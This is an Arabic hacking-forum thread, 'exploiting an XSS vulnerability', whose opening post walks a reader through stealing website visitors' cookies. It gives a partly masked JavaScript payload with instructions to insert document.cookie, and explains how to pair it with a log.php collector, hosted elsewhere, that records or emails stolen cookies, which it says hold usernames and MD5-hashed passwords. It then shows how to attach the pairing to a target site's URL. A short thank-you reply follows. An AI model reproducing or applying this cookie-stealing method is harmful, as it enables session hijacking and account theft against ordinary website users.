استغلال ثغرة xss

استغلال ثغرة xss


النتائج 1 إلى 2 من 2

الموضوع: استغلال ثغرة xss

  1. #1
    هكر نشيط Array الصورة الرمزية ahmadhakar
    تاريخ التسجيل
    Feb 2013
    المشاركات
    142

    Llahmuh استغلال ثغرة xss



    السلام عليكم ورحمه الله وبركاته :


    نأتي الان الى الكود المهم في ثغرات xss

    هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في ثغرات
    XSS

    كود :
    **********javascript:alert(****************)</Script>

    يمكنك تغيير * بأي رقم تريده للتجربة فقط

    هذا السكربت و ظيفته هي سرقة الكوكيز و هذا الكوكيز يحتوي على اليوزر نايم و الباسوورد المشفر ب الامدي 5

    جيد الان سنقوم بربط السكربت باللوج
    ماهو اللوج ؟
    اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز التي تخصه في هذا اللوج و يرسل الى ايمايلك او يحفظ في اللوج على حسب طريقة صنعك له
    مثال لطريقة ربط اللوج
    log.php?re=
    كود :
    **********javascript:alert(****************)</Script>

    الان بعدما ربطنا السكربت باللوج ناتي لربطه برابط الموقع
    مثال لطريقة ربط السكربت و اللوج برابط الموقع
    انا عندي مثلا رابط الموقع هو

    http://www.dark.night.com/

    سيكون الستغلال بالشكل التالي

    http://www.dark.night.com/log.php?re
    كود :
    **********javascript:alert(****************)</Script>

    و الان ساضع رابط اللوج بالمرفقات يجب عليك تحميله و تنفيد الاوامر التالية

    ضع بدل هذه الجملة ايمايلك
    h- -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة -

    php افتح المفكره وحط الكود ولاتنسى تغير الايميل واحفظه بامتداد
    وارفعه على موقعك او على موقع اخر

    استبدل النجوم بالكلمه هذي

    d o c u m e n t.c o o k i e



  2. #2
    هكر نشيط Array
    تاريخ التسجيل
    Nov 2012
    المشاركات
    153

    افتراضي رد: استغلال ثغرة xss

    الله يرفع قدرك


المواضيع المتشابهه

  1. مشكلة في استغلال ثغرة
    بواسطة lost dream في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 5
    آخر مشاركة: 05-14-2013, 04:02 PM
  2. شرح استغلال ثغرة vBulletin 3.8.6
    بواسطة She!! Access في المنتدى قسم الثغرات
    مشاركات: 42
    آخر مشاركة: 04-09-2013, 03:50 PM
  3. استغلال ثغرة الاهدائات
    بواسطة HuNtEr2 في المنتدى قسم الثغرات
    مشاركات: 21
    آخر مشاركة: 11-10-2010, 02:44 AM
  4. شرح استغلال ثغرة vBSEO
    بواسطة She!! Access في المنتدى قسم الثغرات
    مشاركات: 4
    آخر مشاركة: 09-02-2010, 08:26 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •